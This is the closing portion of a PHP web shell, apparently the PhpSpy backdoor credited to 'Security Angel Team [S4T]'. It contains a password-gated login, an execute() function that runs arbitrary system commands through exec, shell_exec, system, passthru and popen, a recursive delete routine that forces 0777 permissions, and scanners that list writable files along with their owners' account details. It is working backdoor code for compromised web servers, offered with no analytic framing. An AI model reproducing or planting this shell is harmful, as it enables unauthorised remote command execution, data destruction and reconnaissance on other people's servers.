|
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
|
|
19 => array('memory_limit',getcfg('memory_limit')),
|
|
20 => array('post_max_size',getcfg('post_max_size')),
|
|
21 => array('upload_max_filesize',$upsize),
|
|
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
|
|
23 => array('disable_functions',$dis_func),
|
|
);
|
|
|
|
if($phpvarname) {
|
|
m($phpvarname .' : '.getcfg($phpvarname));
|
|
}
|
|
|
|
formhead(array('title'=>'Server environment'));
|
|
makehide('action','phpenv');
|
|
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
|
|
formfooter();
|
|
|
|
$hp = array(0=> 'Server', 1=> 'PHP');
|
|
for($a=0;$a<2;$a++) {
|
|
p('<h2>'.$hp[$a].' »</h2>');
|
|
p('<ul class="info">');
|
|
if ($a==0) {
|
|
for($i=1;$i<=9;$i++) {
|
|
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
|
|
}
|
|
} elseif ($a == 1) {
|
|
for($i=10;$i<=23;$i++) {
|
|
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
|
|
}
|
|
}
|
|
p('</ul>');
|
|
}
|
|
}//end phpenv
|
|
|
|
else {
|
|
m('Undefined Action');
|
|
}
|
|
|
|
?>
|
|
</td></tr></table>
|
|
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
|
|
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
|
|
Copyright (C) 2004-2009 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
|
|
</div>
|
|
</body>
|
|
</html>
|
|
|
|
<?php
|
|
|
|
/*======================================================
|
|
函数库
|
|
======================================================*/
|
|
|
|
function m($msg) {
|
|
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
|
|
echo $msg;
|
|
echo '</div>';
|
|
}
|
|
function scookie($key, $value, $life = 0, $prefix = 1) {
|
|
global $admin, $timestamp, $_SERVER;
|
|
$key = ($prefix ? $admin['cookiepre'] : '').$key;
|
|
$life = $life ? $life : $admin['cookielife'];
|
|
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
|
|
setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
|
|
}
|
|
// 登陆入口
|
|
function loginpage() {
|
|
?>
|
|
<style type="text/css">
|
|
input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
|
|
</style>
|
|
<form method="POST" action="">
|
|
<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
|
|
<input type="hidden" name="doing" value="login">
|
|
<input type="submit" value="Login">
|
|
</form>
|
|
<?php
|
|
exit;
|
|
}//end loginpage()
|
|
|
|
function execute($cfe) {
|
|
$res = '';
|
|
if ($cfe) {
|
|
if(function_exists('exec')) {
|
|
@exec($cfe,$res);
|
|
$res = join("\n",$res);
|
|
} elseif(function_exists('shell_exec')) {
|
|
$res = @shell_exec($cfe);
|
|
} elseif(function_exists('system')) {
|
|
@ob_start();
|
|
@system($cfe);
|
|
$res = @ob_get_contents();
|
|
@ob_end_clean();
|
|
} elseif(function_exists('passthru')) {
|
|
@ob_start();
|
|
@passthru($cfe);
|
|
$res = @ob_get_contents();
|
|
@ob_end_clean();
|
|
} elseif(@is_resource($f = @popen($cfe,"r"))) {
|
|
$res = '';
|
|
while(!@feof($f)) {
|
|
$res .= @fread($f,1024);
|
|
}
|
|
@pclose($f);
|
|
}
|
|
}
|
|
return $res;
|
|
}
|
|
|
|
function dirsize($dir) {
|
|
$dh = @opendir($dir);
|
|
$size = 0;
|
|
while($file = @readdir($dh)) {
|
|
if ($file != '.' && $file != '..') {
|
|
$path = $dir.'/'.$file;
|
|
if (@is_dir($path)) {
|
|
$size += dirsize($path);
|
|
} else {
|
|
$size += @filesize($path);
|
|
}
|
|
}
|
|
}
|
|
@closedir($dh);
|
|
return $size;
|
|
}
|
|
// 页面调试信息
|
|
function debuginfo() {
|
|
global $starttime;
|
|
$mtime = explode(' ', microtime());
|
|
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
|
|
echo 'Processed in '.$totaltime.' second(s)';
|
|
}
|
|
|
|
// 去掉转义字符
|
|
function s_array(&$array) {
|
|
if (is_array($array)) {
|
|
foreach ($array as $k => $v) {
|
|
$array[$k] = s_array($v);
|
|
}
|
|
} else if (is_string($array)) {
|
|
$array = stripslashes($array);
|
|
}
|
|
return $array;
|
|
}
|
|
|
|
// 清除HTML代码
|
|
function html_clean($content) {
|
|
$content = htmlspecialchars($content);
|
|
$content = str_replace("\n", "<br />", $content);
|
|
$content = str_replace(" ", " ", $content);
|
|
$content = str_replace("\t", " ", $content);
|
|
return $content;
|
|
}
|
|
|
|
// 获取权限
|
|
function getChmod($filepath){
|
|
return substr(base_convert(@fileperms($filepath),10,8),-4);
|
|
}
|
|
|
|
function getPerms($filepath) {
|
|
$mode = @fileperms($filepath);
|
|
if (($mode & 0xC000) === 0xC000) {$type = 's';}
|
|
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
|
|
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
|
|
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
|
|
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
|
|
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
|
|
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
|
|
else {$type = '?';}
|
|
|
|
$owner['read'] = ($mode & 00400) ? 'r' : '-';
|
|
$owner['write'] = ($mode & 00200) ? 'w' : '-';
|
|
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
|
|
$group['read'] = ($mode & 00040) ? 'r' : '-';
|
|
$group['write'] = ($mode & 00020) ? 'w' : '-';
|
|
$group['execute'] = ($mode & 00010) ? 'x' : '-';
|
|
$world['read'] = ($mode & 00004) ? 'r' : '-';
|
|
$world['write'] = ($mode & 00002) ? 'w' : '-';
|
|
$world['execute'] = ($mode & 00001) ? 'x' : '-';
|
|
|
|
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
|
|
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
|
|
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
|
|
|
|
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
|
|
}
|
|
|
|
function getUser($filepath) {
|
|
if (function_exists('posix_getpwuid')) {
|
|
$array = @posix_getpwuid(@fileowner($filepath));
|
|
if ($array && is_array($array)) {
|
|
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
|
|
}
|
|
}
|
|
return '';
|
|
}
|
|
|
|
// 删除目录
|
|
function deltree($deldir) {
|
|
$mydir=@dir($deldir);
|
|
while($file=$mydir->read()) {
|
|
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
|
|
@chmod($deldir.'/'.$file,0777);
|
|
deltree($deldir.'/'.$file);
|
|
}
|
|
if (is_file($deldir.'/'.$file)) {
|
|
@chmod($deldir.'/'.$file,0777);
|
|
@unlink($deldir.'/'.$file);
|
|
}
|
|
}
|
|
$mydir->close();
|
|
@chmod($deldir,0777);
|
|
return @rmdir($deldir) ? 1 : 0;
|
|
}
|
|
|
|
// 表格行间的背景色替换
|
|
function bg() {
|
|
global $bgc;
|
|
return ($bgc++%2==0) ? 'alt1' : 'alt2';
|
|
}
|
|
|
|
// 获取当前的文件系统路径
|
|
function getPath($scriptpath, $nowpath) {
|
|
if ($nowpath == '.') {
|
|
$nowpath = $scriptpath;
|
|
}
|
|
$nowpath = str_replace('\\', '/', $nowpath);
|
|
$nowpath = str_replace('//', '/', $nowpath);
|
|
if (substr($nowpath, -1) != '/') {
|
|
$nowpath = $nowpath.'/';
|
|
}
|
|
return $nowpath;
|
|
}
|
|
|
|
// 获取当前目录的上级目录
|
|
function getUpPath($nowpath) {
|
|
$pathdb = explode('/', $nowpath);
|
|
$num = count($pathdb);
|
|
if ($num > 2) {
|
|
unset($pathdb[$num-1],$pathdb[$num-2]);
|
|
}
|
|
$uppath = implode('/', $pathdb).'/';
|
|
$uppath = str_replace('//', '/', $uppath);
|
|
return $uppath;
|
|
}
|
|
|
|
// 检查PHP配置参数
|
|
function getcfg($varname) {
|
|
$result = get_cfg_var($varname);
|
|
if ($result == 0) {
|
|
return 'No';
|
|
} elseif ($result == 1) {
|
|
return 'Yes';
|
|
} else {
|
|
return $result;
|
|
}
|
|
}
|
|
|
|
// 检查函数情况
|
|
function getfun($funName) {
|
|
return (false !== function_exists($funName)) ? 'Yes' : 'No';
|
|
}
|
|
|
|
// 获得文件扩展名
|
|
function getextension($filename) {
|
|
$pathinfo = pathinfo($filename);
|
|
return $pathinfo['extension'];
|
|
}
|
|
|
|
function GetWDirList($dir){
|
|
global $dirdata,$j,$nowpath;
|
|
!$j && $j=1;
|
|
if ($dh = opendir($dir)) {
|
|
while ($file = readdir($dh)) {
|
|
$f=str_replace('//','/',$dir.'/'.$file);
|
|
if($file!='.' && $file!='..' && is_dir($f)){
|
|
if (is_writable($f)) {
|
|
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
|
|
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
|
|
$dirdata[$j]['dirchmod']=getChmod($f);
|
|
$dirdata[$j]['dirperm']=getPerms($f);
|
|
$dirdata[$j]['dirlink']=ue($dir);
|
|
$dirdata[$j]['server_link']=$f;
|
|
$dirdata[$j]['client_link']=ue($f);
|
|
$j++;
|
|
}
|
|
GetWDirList($f);
|
|
}
|
|
}
|
|
closedir($dh);
|
|
clearstatcache();
|
|
return $dirdata;
|
|
} else {
|
|
return array();
|
|
}
|
|
}
|
|
|
|
function GetWFileList($dir){
|
|
global $filedata,$j,$nowpath;
|
|
!$j && $j=1;
|
|
if ($dh = opendir($dir)) {
|
|
while ($file = readdir($dh)) {
|
|
$ext = getextension($file);
|
|
$f=str_replace('//','/',$dir.'/'.$file);
|
|
if($file!='.' && $file!='..' && is_dir($f)){
|
|
GetWFileList($f);
|
|
} elseif($file!='.' && $file!='..' && is_file($f)){
|
|
if (is_writable($f)) {
|
|
$filedata[$j]['filename']=str_replace($nowpath,'',$f);
|
|
$filedata[$j]['size']=sizecount(@filesize($f));
|
|
$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
|
|
$filedata[$j]['filechmod']=getChmod($f);
|
|
$filedata[$j]['fileperm']=getPerms($f);
|
|
$filedata[$j]['fileowner']=getUser($f);
|
|
$filedata[$j]['dirlink']=$dir;
|
|
$filedata[$j]['server_link']=$f;
|
|
$filedata[$j]['client_link']=ue($f);
|
|
$j++;
|
|
}
|
|
}
|
|
}
|
|
closedir($dh);
|
|
clearstatcache();
|
|
return $filedata;
|
|
} else {
|
|
return array();
|
|
}
|
|
}
|
|
|
|
function sizecount($size) {
|
|
if($size > 1073741824) {
|
|
$size = round($size / 1073741824 * 100) / 100 . ' G';
|
|
} elseif($size > 1048576) {
|
|
$size = round($size / 1048576 * 100) / 100 . ' M';
|
|
} elseif($size > 1024) {
|
|
$size = round($size / 1024 * 100) / 100 . ' K';
|
|
} else {
|
|
$size = $size . ' B';
|
|
}
|
|
return $size;
|
|
}
|
|
|
|
function ue($str){
|
|
return urlencode($str);
|
|
}
|
|
|
|
function p($str){
|
|
echo $str."\n";
|
|
}
|
|
|
|
function tbhead() {
|
|
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
|
|
}
|
|
function tbfoot(){
|
|
p('</table>');
|
|
}
|
|
|
|
function makehide($name,$value=''){
|
|
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
|
|
}
|
|
|
|
function makeinput($arg = array()){
|
|
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
|
|
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
|
|
!$arg['type'] && $arg['type'] = 'text';
|
|
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
|
|
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
|
|
if ($arg['newline']) {
|
|
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
|
|
} else {
|
|
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
|
|
}
|
|
}
|
|
|
|
function makeselect($arg = array()){
|
|
if ($arg['onchange']) {
|
|
$onchange = 'onchange="'.$arg['onchange'].'"';
|
|
}
|
|
$arg['title'] = $arg['title'] ? $arg['title'] : '';
|
|
if ($arg['newline']) p('<p>');
|
|
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
|
|
if (is_array($arg['option'])) {
|
|
if ($arg['nokey']) {
|
|
foreach ($arg['option'] as $value) {
|
|
if ($arg['selected']==$value) {
|
|
p("<option value=\"$value\" selected>$value</option>");
|
|
} else {
|
|
p("<option value=\"$value\">$value</option>");
|
|
}
|
|
}
|
|
} else {
|
|
foreach ($arg['option'] as $key=>$value) {
|
|
if ($arg['selected']==$key) {
|
|
p("<option value=\"$key\" selected>$value</option>");
|
|
} else {
|
|
p("<option value=\"$key\">$value</option>");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
p("</select>");
|
|
if ($arg['newline']) p('</p>');
|
|
}
|
|
function formhead($arg = array()) {
|
|
global $self;
|
|
!$arg['method'] && $arg['method'] = 'post';
|
|
!$arg['action'] && $arg['action'] = $self;
|
|
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
|
|
!$arg['name'] && $arg['name'] = 'form1';
|
|
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
|
|
if ($arg['title']) {
|
|
p('<h2>'.$arg['title'].' »</h2>');
|
|
}
|
|
}
|
|
|
|
function maketext($arg = array()){
|
|
!$arg['cols'] && $arg['cols'] = 100;
|
|
!$arg['rows'] && $arg['rows'] = 25;
|
|
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
|
|
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
|
|
}
|
|
|
|
function formfooter($name = ''){
|
|
!$name && $name = 'submit';
|
|
p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
|
|
p('</form>');
|
|
}
|
|
|
|
function goback(){
|
|
global $self, $nowpath;
|
|
p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
|
|
}
|
|
|
|
function formfoot(){
|
|
p('</form>');
|
|
}
|
|
|
|
// 调试函数
|
|
function pr($a) {
|
|
echo '<pre>';
|
|
print_r($a);
|
|
echo '</pre>';
|
|
}
|
|
|
|
?>
|